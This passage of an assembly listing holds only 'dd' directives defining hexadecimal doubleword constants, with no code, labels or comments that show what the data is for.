		dd 15C27940h, 733CC959h, 869300BEh, 5C8B7EF7h, 3618B0CEh
		dd 8B8456Ch, 4AE30C88h,	80112B63h, 347EE700h, 0E974E6BCh
		dd 3FF3A09Bh, 883B54DEh, 0ACE3005Ah, 6C4C4BD1h,	0B400440Dh
		dd 730AC186h, 2A3E3C4Ah, 778C0B78h, 34AC0F67h, 93201D08h
		dd 948A38BCh, 0E62830C0h, 0FCB07D84h, 54A900C7h, 885751BEh
		dd 8A027E41h, 2E9A7C76h, 0E09CAF29h, 95E586F6h,	77BF00FCh
		dd 67031EB2h, 80ABE7D9h
		dd 18DFEBC0h, 90B5A71Ch, 0FC198980h, 732B42Bh, 7AC79F8Ah
		dd 1F8C13BCh, 5FAC9003h, 50F4DEB6h, 882A3041h, 973F8951h
		dd 0F901B01Eh, 36B9C93h, 400B58A3h, 28E03290h, 6C004547h
		dd 185B24Eh, 14BAB03Bh,	0DC107E60h, 0CE61EE00h,	9F8DF80Ah
		dd 0AE7A0400h, 0ADB9FED1h, 3E8700C4h, 0F92D1035h, 5004417h
		dd 0D88962FFh, 3C7603h,	1B6132C0h, 267DFED5h, 77F8D205h
		dd 14070F23h, 0CEC07AE0h, 1644EF5h, 6602344Fh, 0D0B74CECh
		dd 0B63D6298h, 3B40685h, 18E32Eh, 0CC29B1FFh, 934D747Ah
		dd 270CE100h, 0ABDE2FA6h, 0A772C8Eh, 75FF0758h,	0D68050B6h
		dd 5A003228h, 0E192DB94h, 665843Bh, 37DE8E17h, 4D052085h
		dd 7C031233h, 46C7203Ch, 0ABAD1EDAh, 8EA2DF8Eh,	0BE7581FDh
		dd 308EFF2Fh, 3AC00E0Fh, 89ADDEA3h, 0C00BC7Ch, 871FD533h
		dd 1CA71B0h, 5420C15Dh,	0E0EC1253h, 0D003B19h, 3773766Dh
		dd 0C34E9C72h, 0F7B642E0h, 0C10C8900h, 0C7AED366h, 0A2560058h
		dd 3408AF45h, 0D000ADA0h, 0B1AC492Dh, 1EC839Ah,	3A113DEBh
		dd 839CA3E6h, 0A0729640h, 89580433h, 0F401B6h, 833A9134h
		dd 0EC6A1837h, 0E69C2055h, 0D22F5000h, 9F156001h, 321B00AAh
		dd 0C5B74D1Ah, 12EA0D0Ch, 98341728h, 620353F0h,	52A9D8BCh
		dd 0AB28183h, 21470898h, 0BC037BF6h, 3A3BAA30h,	0C748020Eh
		dd 0AEDB6EC4h, 7EF0A880h, 95005703h, 9640F6F3h,	0DD3B4452h
		dd 6D338790h, 0C63C0078h, 2D611419h, 0E7CA7459h, 0F84065C4h
		dd 0F8B1018Eh, 573296DEh, 54F1CC76h, 2FDCFC05h,	0C400E23Fh
		dd 7D8DC14Dh, 0C5600078h, 987689B1h, 471BBB73h,	4C593303h
		dd 8005708h, 12C25204h,	0FE007557h, 0ACB73495h,	30477D11h
		dd 0FA3032F1h, 3700330Dh, 0E4DD2D21h, 16E71EAh,	61F92272h
		dd 50ABC5DEh, 7C2AD188h, 3430F800h, 6D04DCFFh, 607700C1h
		dd 8FDE86Fh, 7675FC06h,	0C3006671h, 8C174956h, 24EDD068h
		dd 8483EABh, 150CC00Dh,	0F4B12Bh, 19D8424Bh, 0C42A7A41h
		dd 3E630700h, 9E2F9CEAh, 8ECA124Ah, 0B8A407D4h,	6E02815Fh
		dd 3FC44006h, 9930B60Ah, 666DF8FCh, 90827C90h, 182000C0h
		dd 0B1FAACA8h, 90AA0E60h, 6FC47C80h, 0B01804DFh, 0D3190969h
		dd 8EB10CF9h, 93992915h, 59057D07h, 0C7B001D4h,	24181A02h
		dd 18274A9Fh, 898690F5h, 70BF8235h, 18472C0Eh, 1956151h
		dd 0A9C0F340h, 8204C63Bh, 2B6416B0h, 0A57C18Eh,	0FEC70BF0h
		dd 0DCEA54D5h, 0B690000Dh, 0CD74AA76h, 1DF6A52Eh, 0D3CE2017h
		dd 1BD5314h, 0F37E67F1h, 4185BB56h, 0EFC0D6Dh, 12E710C0h
		dd 24027953h, 7C874778h, 188D20ECh, 0A93B1F74h,	0AAF71DE3h
		dd 0C3211218h, 0B98C0107h, 467C72E5h, 4F1024F5h, 61221B0Eh
		dd 0D5F1605Ch, 0FC304B98h, 64ED3883h, 0B3DE708Ah, 8884880h
		dd 4C8193C2h, 0A6C67066h, 0EF0B1080h, 0D7AA511Fh, 80F1E16Eh
		dd 9D8D08EBh, 4AB20091h, 7BFFEE83h, 6D018CF1h, 20986A2Fh
		dd 61928B10h, 66DC602Eh, 0A923C4BCh, 391172h, 1DBC7FF2h
		dd 1B7969Bh, 0B435C424h, 24BD89DFh, 0C31F6294h,	0C580B66Bh
		dd 0EAF53F67h, 403100FBh, 0BE2E1965h, 0C31CD334h, 97044DCFh
		dd 38C0321Dh, 60D1FF54h, 0AD33698Ah, 0FE004E1Ah, 36E0CB37h
		dd 0E8E323CEh, 120A88B9h, 9E514E73h, 0CC9024AEh, 95CA2F15h
		dd 0C4C4884h, 11FCD506h, 73D9049Fh, 82AB6663h, 0A8497EA4h
		dd 222180D2h, 596573D0h, 2DE1F3C7h, 8638C58h, 7AA9C1BCh
		dd 0F5433FC4h, 0A780BC7Ch, 0B400BA51h, 195E5DB1h, 315A9613h
		dd 15A0659Ch, 6F319628h, 0AE36080Fh, 2AC018Bh, 8980E4D6h
		dd 1E8A4B49h, 340001E6h, 0CBCAAAEFh, 98E0E337h,	91B601F0h
		dd 0B45A3632h, 14589F48h, 4EB332E2h, 4C600908h,	7B0C02DFh
		dd 212F74E8h, 3349408Ah, 0ED0442B8h, 0B6DE2265h, 736F0AC7h
		dd 8A643408h, 2C8EE8h, 0AC0D1E13h, 0DF0A4EABh, 24B38AD2h
		dd 8C99C001h, 78DC2A32h, 9C0E02FBh, 0C616C712h,	0D8B5A161h
		dd 0E0A83611h, 8F00B406h, 0A177EA6h, 5C5FED8h, 0AE1BAC0Fh
		dd 8A28880Dh, 4E61B060h, 6A98CEh, 328B38DDh, 1EE57D3Fh
		dd 91742504h, 9CC55333h, 4E171C60h, 233710FBh, 81A4C8E3h
		dd 124E2F0Dh, 2211E47Fh, 84501806h, 21B78Bh, 5C735DB4h
		dd 194A230Eh, 10B88348h, 0F009A35Eh, 7CB063B1h,	2909C7F5h
		dd 0A02B7F1Ch, 0FAC68E80h, 43D8A0CFh, 0BE0E00C9h, 6BD523ADh
		dd 0F098B74Fh, 52359805h, 0E0094294h, 61448FDCh, 83A2A9CDh
		dd 0BA0BAED4h, 5462E520h, 0CBA6C700h, 833B8494h, 0BB756800h
		dd 81E80D18h, 30208813h, 4731DA63h, 24A9261Ch, 0AD8C00B7h
		dd 1E70E232h, 3D725D0Eh, 48C0BFD3h, 9603AC63h, 3CA89A07h
		dd 5E18A9C7h, 91E61009h, 80ADBA28h, 0FE528A16h,	8FE80C44h
		dd 1AAAECC8h, 301CC623h, 47B680C0h, 0EFC1D764h,	0BF6D6540h
		dd 880083DAh, 0B570EB67h, 17A16FF1h, 1CAB3EF0h,	0B6E6CE90h
		dd 9C06F32h, 70B5F4Ch, 0C04FBF72h, 0D63BABE4h, 482CB0FEh
		dd 7A269C17h, 8DFDC0E0h, 0F46741Ah, 0C1011122h,	0CE7C8C05h
		dd 1024BA89h, 4F351CA8h, 892C099h, 0B610A6ADh, 0A4009E76h
		dd 0B412D5A9h, 248886D2h, 81D03462h, 7556A5CFh,	64D1D99Bh
		dd 9105A234h, 68B04FE7h, 38FF9040h, 6ADA1B90h, 1384B0EFh
		dd 90606702h, 0CB666773h, 3ED6448Ch, 70DC4Ch, 0E9872C1Ah
		dd 25DDD408h, 5C0189A7h, 345C7A62h, 76882144h, 0F94E0723h
		dd 6003B5F8h, 13356DE9h, 0CEA5E2Eh, 5A30EC20h, 742F90E8h
		dd 7EA9093Fh, 0B5002C42h, 47FE9FE9h, 72C10D6Ah,	0E5BDBF00h
		dd 327235DEh, 0DA7020C4h, 40C18041h, 919CB7D1h,	2840CEF3h
		dd 0ACA84FDBh, 88326236h, 202AA128h, 24B0EAF4h,	0A2320800h
		dd 5CC00104h, 79C4B191h, 77AE1806h, 1EDE0254h, 0E0D6347Ah
		dd 0C28F9CA0h, 0CDE666D7h, 0BE356001h, 847FE676h, 14BF3400h
		dd 3CDC99h, 0D338038Bh,	188E12A9h, 28837FDEh, 0F43F324Dh
		dd 0D16698B3h, 1B0FFE8h, 762C7D39h, 74E80673h, 80266664h
		dd 0AE872832h, 8199AF23h, 0FC5EB80Ch, 30787CFCh, 332094AAh
		dd 0DC14D059h, 0E1200503h, 5B1964CEh, 6EAC01Ch,	5DD4AC2h
		dd 1FC67496h, 0CD8031E0h, 5004004Eh, 27B01EC1h,	0FEA1806Eh
		dd 0EEAAC679h, 70DC573Ch, 0DCC25C28h, 0AF005674h, 0F29760Bh
		dd 7CD5EFBh, 370A26ABh,	3C4D4094h, 6C001597h, 7905CBC4h
		dd 9D3FFh, 13942B5Fh, 15BFC96Ah, 0BEC26701h, 0AAC85623h
		dd 3870FC44h, 3A5624C0h, 1852A031h, 81CB5A3h, 6C18AC33h
		dd 0B46F6B0h, 55EFB0C6h, 50242803h, 4EE0B598h, 0FB92F01h
		dd 6D0286Ch, 5A71470h, 0B5265909h, 70680332h, 79C1D312h
		dd 2839A5CFh, 46F0041Ch, 42364E9Dh, 0EB713234h,	0D9776201h
		dd 0CBADDC00h, 0F4704D28h, 31972F18h, 19908C30h, 187D573Bh
		dd 1C0A7EC5h, 0D16086Bh, 806AA901h, 0F8700752h,	72C02803h
		dd 0C63B132Ch, 637C842Bh, 88473A0Ch, 9ECB190Ch,	44208C30h
		dd 8B1820AFh, 79C067F8h, 0DCB6882Fh, 9340DE72h,	7F1041C7h
		dd 8526C63Ah, 89E35359h, 0C57D7847h, 0EC08580Ah, 64C57718h
		dd 0F1F2B03Bh, 0E21F91Dh, 1AB481B4h, 63B010B1h,	3D096F6h
		dd 0EB47BE77h, 0BCCC2807h, 93CEA9CBh, 443EF81Fh, 2C8024E8h
		dd 23AC82E4h, 80E00B36h, 3774E7Ch, 0B44FFC1Dh, 0FF740C68h
		dd 0FC92B5FEh, 0A45A340Bh, 8F78002Eh, 74667A74h, 0A2CD750Eh
		dd 0C9E8C00Ch, 986488E4h
		dd 8DB458A0h, 34741714h, 88DBE864h, 0B8B0134Eh,	78C8B55h
		dd 0B84888BCh, 971BA508h, 0CDF84155h, 50BB90B8h, 6A490DF0h
		dd 350F8A6h, 324C96E0h,	28E215Ch, 7D671B9Fh, 5AD6400Ch
		dd 2E42994h, 0E428B28Ch, 0BC6E0FD4h, 2613A9AFh,	0AB42987Ch
		dd 0E6399062h, 0CCD00A24h, 6152C1B3h, 36965187h, 0DC884C32h
		dd 0A4490C2Ch, 0C2226428h, 0E63A2972h, 52C00294h, 0E0AB4D60h
		dd 0C840432h, 80904A2Fh, 8C99C7E6h, 0AFB6280Ch,	8C12168Ch
		dd 9C042ADFh, 0C088AE14h, 5336912Fh, 52F4A1FFh,	7052B808h
		dd 77406E94h, 79285C54h, 0B3AA943h, 80AE3B40h, 0C999368h
		dd 0F81C80C6h, 6E7326ADh, 27107F0Ch, 7A12CCA8h,	0A83256DCh
		dd 518028EBh, 0C99A353h, 44836217h, 9C8FFCDEh, 1BD8A6F1h
		dd 0B16CD8F7h, 0E4A0934Dh, 1FF72C4Bh, 0E463B172h, 0D8439414h
		dd 0D67420D6h, 20D50F2Ah, 1548F250h, 0E4E8E41Ch, 0A6A0E844h
		dd 0C81DFA8h, 8879B48Ah, 5494D8A6h, 0AB6558ABh,	2C6A4C52h
		dd 115F239Eh, 314BBFA6h, 0D70ADEB0h, 0C1CE23B8h, 4590721Ah
		dd 0DB788718h, 45DC2848h, 0C0A47887h, 3321C77Bh, 0C46F509Fh
		dd 88ED7C3Bh, 0F822930h, 0F729D19Ch, 0ED9A823Ch, 8A3CDA7Bh
		dd 0F03C39E8h, 8F5745E4h, 3C8ED82Ah, 2394F938h,	2A50C273h
		dd 48BA1502h, 96B4050h,	5513A232h, 0F09BD061h, 5A3C14EBh
		dd 6A0A00C0h, 903297DCh, 24AB01C1h, 25BEC26Ch, 3C144A5Fh
		dd 0A8CB1808h, 3E94CC30h, 0AB08580Fh, 23006A16h, 13B3C855h
		dd 0A1C30050h, 0AF884D64h, 33015B0Eh, 0C669400Fh, 18BA61BFh
		dd 30500A04h, 1DD0B794h, 0B0036840h, 0A0CC5127h, 61325911h
		dd 0ABCB78BEh, 26318417h, 690FCC5Ah, 3422A8C5h,	4010880Ch
		dd 0A1C76C00h, 0BECF5413h, 8859500Fh, 0B21C9C26h, 20C03329h
		dd 9242DDD9h, 3C90E522h, 18A0D496h, 0A6CB6909h,	207800E2h
		dd 0E5DD97h, 9AB23CE9h,	6DE7FC83h, 4FA3DF40h, 0C0CC779Ch
		dd 76AFC183h, 0F8CE9B01h, 9DCA2FEEh, 7F207180h,	81E81F55h
		dd 0B8C19A07h, 226BB33Ah, 0FCA504h, 32FA7F08h, 1C20B090h
		dd 31153434h, 22185FA1h, 0ECF8CD19h, 1408E168h,	0E882ECB4h
		dd 423A5DD7h, 622C0707h, 93443304h, 4F8A074Ch, 5290408Ah
		dd 0B8383D30h, 4D66508Fh, 195936B8h, 30FD8D8Ah,	46A848D5h
		dd 14318CFFh, 13AE59E7h, 67BAD1Bh, 0D1E04738h, 69DE0F05h
		dd 0F092EB7Ah, 0BAD08BA2h, 2D00298h, 0F47431A9h, 0DF635872h
		dd 69F1430h, 0C00234B9h, 54906879h, 8B4A0878h, 6CC4A874h
		dd 404B14ADh, 706A8CF0h, 30DC03F9h, 0A44AFD96h,	8F954C4Ch
		dd 1C604A58h, 2C8ECB68h, 60C04CD7h, 0E9E688BCh,	0D5307B63h
		dd 0FC191405h, 4584C79h, 2C4EB169h, 74208C90h, 1478994Dh
		dd 4E21A44Fh, 56328C08h, 0B674D249h, 0E32E21B8h, 2922C164h
		dd 11C33C17h, 89835794h, 0A11FB7E6h, 282B81D5h,	0B908BAF9h
		dd 54F10F43h, 0A4210A4Ch, 24A89111h, 0AE884D42h, 106A0944h
		dd 90A22ADCh, 841A6111h, 85282B8Ch, 0A1194684h,	7A0A3808h
		dd 0CF12184h, 8C2F38F8h, 84501548h, 6CD1CEE8h, 8C14E6C9h
		dd 349A2860h, 6134E12h,	45646020h, 61A2698Ah, 8848C0Ah
		dd 8480FDCAh, 0F7B9AD35h, 44909012h, 84A876E2h,	0CEFCC2FFh
		dd 22A0F949h, 35E432E7h, 0A46BAC48h, 9EC91114h,	0F463C64Ch
		dd 508C13C1h, 2D9808ADh, 0B022DA93h, 0F73CB8D6h, 63B11869h
		dd 0A3D71108h, 0E8723724h, 462D1542h, 0CEA886DCh, 0DBE9DE49h
		dd 61B46891h, 78A44FC3h, 2F6B7788h, 0C000E9D7h,	5F11CF8Ch
		dd 26ABC901h, 9B930ADh,	3AECA860h, 0B07A5B0Fh, 0B28907E8h
		dd 0F0E5691Ah, 0A1C46FEEh, 3202527Ch, 33AD15B9h, 9FECC097h
		dd 560A07B0h, 4608ECCCh, 11DC28CBh, 0EF335000h,	17C66A14h
		dd 0AD17AAh, 9F691504h,	0DEF019AEh, 30E861F9h, 11F124F0h
		dd 0DF8CD68h, 5ECCB69Fh, 0C05D048Dh, 6A24CA1Bh,	2305B490h
		dd 16A7319Fh, 698A182Ch, 604611D1h, 370AC302h, 2942314h
		dd 447C5418h, 97AFC0E0h, 134C9A36h, 0E05623AEh,	3A172C14h
		dd 0BC047E83h, 0AC008CA7h, 0C14C8DC0h, 49ACB158h, 1D63AF0h
		dd 0ABC7A835h, 0A4F0FCC5h, 80A1122Ah, 0F40C806Ah, 953BBB56h
		dd 70B806A0h, 918AC3Eh,	0E678CBAEh, 0A0B090DAh,	0CC54080h
		dd 0D9CD0B30h, 7496FD53h, 9A94F032h, 0F94C25E0h, 0E37BE404h
		dd 0AD30154h, 0C9864967h, 88097C5Ah, 0C0503BDEh, 276A323Fh
		dd 0E1288E77h, 585CC778h, 3DD688Ch, 73658030h, 0AC8C06F8h
		dd 44BF4EC2h, 0CDABF4h,	6A33833Bh, 782265ADh, 90D42164h
		dd 708C4AEFh, 8D18B111h, 800404E3h, 0F0FEDA4Eh,	88FFE8A0h
		dd 73048E17h, 89F766B0h, 0BC34015Fh, 0FC57FB14h, 641EEE3Ah
		dd 89F20F6Fh, 0C1488637h, 98DB4A08h, 22F1F3A4h,	0C0E3B864h
		dd 75A02149h, 190032F5h, 55249E6h, 6DC8FEh, 99713AFh, 24BC9F5Ch
		dd 0BEC05007h, 0D68F5211h, 0C0DD7862h, 58325B50h, 27C5495h
		dd 2C71F6ECh, 7C700DEFh, 0EAB2401Eh, 344D3FFh, 47DAB9FEh
		dd 74CC913Ah, 3E960458h, 3B29DE78h, 408A00Ch, 94DC5605h
		dd 85745139h, 8230BEFh,	1AE3E235h, 0F1FC74C1h, 88A04E47h
		dd 4F73084Bh, 0C8C8C315h, 2177E611h, 0AF7F3244h, 214F99E0h
		dd 661CD25Bh, 9B979F5h,	20A18545h, 0BD884F08h, 73207020h
		dd 9C434D99h, 732970BEh, 0F60A0CA9h, 50C88CAEh,	28351928h
		dd 4CD518C3h, 0D8B140D4h, 474E00Dh, 0E009C8E1h,	0E622E791h
		dd 89E4E544h, 24EA12EBh, 91E848E9h, 44EE22EFh, 0D389ECEDh
		dd 1652BF0h, 7AEFD92Fh,	48F6C711h, 0B8CA4CF4h, 0E0598434h
		dd 0FBAC044Bh, 403B08A9h, 4857ACBCh, 3269FF01h,	280F2F4Eh
		dd 0E0876EF1h, 0C0E38024h, 57ABFEB7h, 1EE24648h, 811FCE31h
		dd 891D361Fh, 0E0B14033h, 98E2524Eh, 0DCE3E6Ch,	3802501h
		dd 0E0FE5433h, 4894A822h, 487FED7h, 499255FFh, 0FB0088B3h
		dd 6CA2D7Eh, 0E28B1767h, 0C038958Ch, 0DCCD6A19h, 0C620244h
		dd 64DECC47h, 58A6309h,	42F3348h, 0B4C0BAEAh, 9B8FD4D6h
		dd 3CCB701h, 0F62AA90h,	74242185h, 0C0382A4Eh, 644EBF9Ch
		dd 8EBC0F8Dh, 989CB111h, 3D161836h, 0B39CC01h, 89D35A32h
		dd 341C87F2h, 49AA07C0h, 52CD3AA0h, 2F2F2852h, 6183E453h
		dd 11F4C323h, 488BB9h, 546DB4C2h, 220ABC42h, 0D522A7ADh
		dd 0BD2600EAh, 0D1B13F6Eh, 0F103E56Ah, 60672952h, 5685888Ch
		dd 655400BBh, 0CF6C7E15h, 0C6F80BDh, 0B12F2CA8h, 0BB4A006Ah
		dd 36A4C434h, 6B0A92FEh, 0A4DA6756h, 0F6F3C04Fh, 95A603A9h
		dd 7E009C50h, 182FF13Dh, 30324A0Eh, 1519ED02h, 957D85CBh
		dd 41C08A78h, 0BAB9D1EAh, 663600FCh, 4D7E6976h,	7D035CF4h
		dd 0D2CBA9D0h, 11B7C801h, 9BBE0074h, 3028D6D5h,	803F6E3h
		dd 8B39D004h, 245100B0h, 1714D936h, 0B701D743h,	9D557248h
		dd 28E96C6Eh, 400D9B8h,	637E7D1Ch, 70008DDEh, 4F769E5Fh
		dd 3A8E1764h, 4D824C8Ah, 1E4677EAh, 2367FCA0h, 240EEF2Dh
		dd 0A0150C45h, 0F28318AAh, 7A7C0029h, 7EC2D2EBh, 3B02AB24h
		dd 0CA203AB8h, 75F09EEh, 0DB84A18h, 0E8B1938Ah,	14712851h
		dd 4415FA18h, 10B5A1h, 62E768A6h, 0CE234954h, 0CDC29307h
		dd 48307E5Ch, 3014AEBBh, 0B668C05Eh, 7B00E7D6h,	0F14037D3h
		dd 1CEFA5FBh, 43F467ECh, 0B7A37457h, 0A6C691B8h, 0B976DD00h
		dd 85999748h, 0A79D0F53h, 0BA604BB6h, 0C68A6D94h, 69F4B41Dh
		dd 9B579000h
		dd 753A695h, 519CC281h,	41F5D38Ah, 608789E0h, 395783Ah
		dd 90979E62h, 0A7719BB7h, 81897DC0h, 0A6FAA06Fh, 0C4983E7Fh
		dd 0BA7E6B02h, 40936593h, 0B1B166E3h, 2856E096h, 931EB07Ch
		dd 30298195h, 9ABC98B0h, 1C8A5361h, 9B897F04h, 41F50F50h
		dd 6681BA84h, 604CBCD1h, 948CA028h, 0C104AD2Ah,	838A6699h
		dd 78D86170h, 0C72EA0DBh, 1E18ACF5h, 83958165h,	0C3A0986Ah
		dd 0CC5DD90h, 2C97612Bh, 5387B905h, 0A186C403h,	58A8E0C1h
		dd 9A8E29DDh, 0F59F38h,	4DA97A83h, 973ABB93h, 148C2B57h
		dd 978040A3h, 83AAA98Eh, 65990E73h, 58858971h, 9DF84084h
		dd 0DBA20DC7h, 4154CA2h, 5FA58057h, 4BB0A478h, 0BA9B6100h
		dd 85539740h, 0A1980258h, 0BD8A6086h, 94833460h, 7400874Dh
		dd 55766178h, 0C5CBF409h, 829821A9h, 0C1CC2C65h, 0C68B0958h
		dd 4087629Ch, 0C5CA8086h, 983C93F5h, 0D4204C8Ch, 50A9026Ch
		dd 4183B181h, 4CE2C7ECh, 68877974h, 216091AAh, 0D9F85F04h
		dd 1F309075h, 0C581BB9Dh, 9291B87Ah, 404CD590h,	485824FBh
		dd 9E3050B0h, 4ADD08C2h, 0D0684CA4h, 0D353860Fh, 0EC578707h
		dd 9A4C6140h, 9B940EC0h, 0B76063B0h, 0A363D3AFh, 8C80DC92h
		dd 257E75Eh, 6A9CBD8Bh,	70C0C79Eh, 0FC98C476h, 0D5C5DC09h
		dd 98A00064h, 0F0C79B6Fh, 609F6260h, 0AC439E52h, 6BB45850h
		dd 80488A0Ch, 20D5406Ch, 576F847Fh, 76D0FC8h, 304C9BB1h
		dd 78947C9Ah, 9CA1C7C5h, 87BAC161h, 0FCC6D965h,	98A4DD6Bh
		dd 6AD50487h, 0B88450F8h, 0B75D9078h, 85AA80D4h, 0B39491A0h
		dd 0DB1E60h, 539E8972h,	8024C5B7h, 38E9B866h, 487C8318h
		dd 6F26F08Bh, 659A071Ch, 8099449Bh, 56D5BAE8h, 93052E7Ch
		dd 9DC4846Ah, 0CF8E7C87h, 24E61E66h, 447A9209h,	77048D40h
		dd 90A5D9E0h, 16C4B251h, 0B939DB3h, 0E4388AB4h,	0C9B95B7h
		dd 98077116h, 7BB8763h,	0EF98ADCh, 0FF978FD8h, 1295980Bh
		dd 0B71C41C4h, 0C50916F3h, 0E4C4149Ah, 502CC7A3h, 0B98EC098h
		dd 81608B5Bh, 9A65AB20h, 0DF531030h, 0E841E69h,	0C78B6895h
		dd 619A2090h, 3CA42CA5h, 4405C3Eh, 6694C498h, 0B34C3h
		dd 51D5C658h, 6385BD84h, 0AAB099F9h, 184DA680h,	4D2C5020h
		dd 0F9AF386Bh, 80AF041Eh, 58DB8C80h, 4F84B664h,	942F6201h
		dd 53140EF5h, 0A2E81885h, 1C88558h, 8A62B0C4h, 684E81BAh
		dd 0A69579F0h, 0C49A6C0Bh, 0BAD80291h, 9C64E8A5h, 938A1568h
		dd 345B1890h, 0C5505FF8h, 0C1BC9856h, 7587C679h, 9E6CF020h
		dd 8A3870F7h, 440FA04Fh, 846FC297h, 273C79BAh, 0D728D499h
		dd 0C8759BA1h, 0C6059E62h, 95926A9Ah, 896570C0h, 766F0B87h
		dd 90819996h, 0D14FA577h, 10BF273h, 0B19F7D50h,	0D932180h
		dd 96898160h, 0BB4F9EE8h, 6C905049h, 45F518C8h,	68416887h
		dd 76CE9D65h, 3466800Ah, 0C2B1925Dh, 50FB60ECh,	177C34A1h
		dd 0DC86BB93h, 76144C90h, 7F091BAh, 7E44B348h, 8166BF40h
		dd 948706BBh, 219CB02Ch, 9B7C9F0Fh, 8A516EC6h, 0B71EC8B1h
		dd 96909D19h, 0F484E06Ch, 0D80E165h, 0F3104B38h, 0C676E1A5h
		dd 0E8BE41E9h, 28886F1Ah, 0B3E860F8h, 1C21FDh, 6F9DC1DCh
		dd 53209360h, 3A87C42Fh, 9C1F8857h, 0B80BA765h,	5297E0B9h
		dd 808868C4h, 0B7BE428Ch, 8F3BF873h, 8D509BB1h,	888AD89Ah
		dd 3ADC6186h, 0D0689414h, 99D1D841h, 9ABCA141h,	43190CDh
		dd 804067E1h, 1D959857h, 28B38ED9h, 0F09B54B0h,	17BF76B7h
		dd 0CC688452h, 28C3DDDCh, 2094B76Bh, 9852C6E9h,	12DC5358h
		dd 60D637A8h, 0A1813B30h, 97D4305Ah, 93486485h,	0F4572944h
		dd 7A6432A5h, 2021FDF0h, 933E3038h, 87B16507h, 0E889C660h
		dd 0F0C07268h, 4590BA09h, 405AFF18h, 7E9B52B4h,	0DC98C3h
		dd 9D6FA28Ch, 0EB09F595h, 83607800h, 3EF370CCh,	0F2FD1D25h
		dd 7CB5406Ah, 7D34DE8Bh, 7E3E3B77h, 2A318FDFh, 0ED2B4578h
		dd 0B0D919C3h, 1EBE63F4h, 370FC8B5h, 41989148h,	0E830C8A4h
		dd 0ABBBCC19h, 0D1CC0F90h, 95AE00D2h, 0E06F68DBh, 0F500F37Bh
		dd 71AD8EF8h, 0C0DFD0E2h, 9D802A20h, 0CD53A764h, 0EF5C8420h
		dd 593A0960h, 0F6B0FE40h, 381F595Dh, 0A94A9400h, 9D17731h
		dd 0B7AB900Ch, 0C04B08B1h, 31A27121h, 52001CB8h, 9A10D334h
		dd 306D4E1Ah, 7FC8E644h, 5C288D1Bh, 74F084DEh, 0C91EB5Ch
		dd 0F9CB47C8h, 75510A9Bh, 8198393Bh, 44E6C694h,	3C35DC78h
		dd 33CC9654h, 3EFECD00h, 0C18934D2h, 0A676E280h, 0E0E4401Ch
		dd 6700E8A4h, 0D8EFE21Bh, 62695F2h, 0B5A45CA8h,	77E421FBh
		dd 3090F901h, 785B202Dh, 578C19BFh, 9D49501Fh, 7100C5E2h
		dd 34FD2EFFh, 62C227A8h, 0A5EFA081h, 0B8D04F27h, 0F1606EBh
		dd 0C323A925h, 3A7C84C2h, 70900041h, 0A860EC80h, 368DB431h
		dd 8C3E0359h, 7417F0D1h, 21B80830h, 436A769h, 1FED30AEh
		dd 72C849Fh, 68546194h,	14FCC309h, 7E814000h, 0E4EE3429h
		dd 0BB78FC20h, 87C41C93h, 0B838050h, 0A8C0DE42h, 20012995h
		dd 60DF8F59h, 0DC40CF67h, 0FA3B1652h, 928D00F2h, 7D2BD774h
		dd 0BDEA09AFh, 2447F524h, 8931ABC0h, 22B946D1h,	0A477074Eh
		dd 40752731h, 13E5E8F0h, 37B9E11Ch, 70DF434Dh, 7AB65892h
		dd 3F51111Ch, 18F14BA8h, 0AF282B99h, 368B01E0h,	18BC3E5Bh
		dd 0A56B88CCh, 106E3600h, 527C457h, 610BEA51h, 3A0FC0BDh
		dd 0C081D27Dh, 50F27859h, 353209BCh, 0DD18F967h, 0A3976E50h
		dd 21F16E1Dh, 0ABF78260h, 540C930Fh, 86B77F0h, 0B321C09Eh
		dd 31E1F77Ah, 0E6604000h, 4B7DBF3h, 75E71542h, 23FCA4FBh
		dd 10D618F1h, 0A7C993Bh, 0A0F8B7A5h, 918C1B8Ch,	0BDA7010Fh
		dd 6C8B24D6h, 23102291h, 31AD0141h, 18A9D183h, 0A6758864h
		dd 29253103h, 0A0E9520Fh, 0A31685B3h, 0CC7E8920h, 601C3830h
		dd 4F54798Ah, 9A01A38Bh, 0EE510E2h, 63FCCF0Ch, 6F5F0A9Bh
		dd 3B80BC47h, 3BDF7509h, 0D1988802h, 29118F27h,	68E27FEDh
		dd 30CE60D8h, 0EFC0A69Ah, 68C18D24h, 533E737Bh,	9001C821h
		dd 3427399Ch, 20A1E288h, 0B070ADC5h, 2A7AF49Fh,	1FACF030h
		dd 0C0E85AD4h, 36CB607Ch, 8CCB073h, 2CB221E0h, 638E842h
		dd 5850A13Bh, 0B4DD3F0Bh, 244C2982h, 0A260A444h, 3E235C36h
		dd 0BA1174h, 6B369854h,	595BF97h, 0D311B63Fh, 2D9C00B5h
		dd 3CB4D557h, 0A594AD50h, 98465890h, 0AEF78902h, 9D317B0Fh
		dd 0F761B610h, 51D76900h, 6CDD3410h, 4C49586Bh,	0C81D2Ah
		dd 6E556592h, 0CE037EC1h, 0F0A87D51h, 9167EA04h, 9EB17378h
		dd 5420A879h, 0B9CA30B5h, 950BF918h, 0CD3FC9C1h, 84409ED8h
		dd 2AA4C489h, 0A9CF3B6h, 48B5237Bh, 34BEBA98h, 620BF0C1h
		dd 0DF74A4A8h, 0B04F6813h, 0E3EE8047h, 0A1E480CAh, 80C0A508h
		dd 460FA9F7h, 0B1887B83h, 42F70078h, 0F198956Ch, 14B19904h
		dd 8018CC79h, 0A1D77705h, 8C3094D5h, 9366F49Eh,	0E85E0120h
		dd 18407C8Dh, 46B688E2h, 3F0EE805h, 0A43632F9h,	28D4648h
		dd 7C8AE855h, 2444778h,	54E85DB1h, 0A99DB480h, 58056F24h
		dd 0C80B70D1h, 3C85A002h, 0F8E04836h, 15320AE4h, 12F8DC11h
		dd 797C0875h, 8EE859C0h, 2258467Ch, 41B51EE1h, 3AEA98E8h
		dd 19C0FA3Fh, 0DC211691h, 58F4E6h, 0BD63CC8Ch, 0ED856E02h
		dd 6CAE2600h, 3865BADFh, 415B0176h, 80EA9DCEh, 422BE04Fh
		dd 52B19B60h, 127A1F30h, 26ED473h, 0A2289E40h, 368CD4B0h
		dd 0C43E5A10h, 0B4406AE2h
		dd 0D401DC59h, 0DD30ED22h, 48229C44h, 92A3F478h, 200C90D4h
		dd 0AC3B6676h, 0DCCF98F1h, 183E4888h, 28F46CB5h, 0C370EF9Ch
		dd 233C2E48h, 0F78E01A7h, 18730FAFh, 0B7974098h, 85F76600h
		dd 216C58B5h, 67940004h, 0A9592233h, 301142Ah, 5AF50A52h
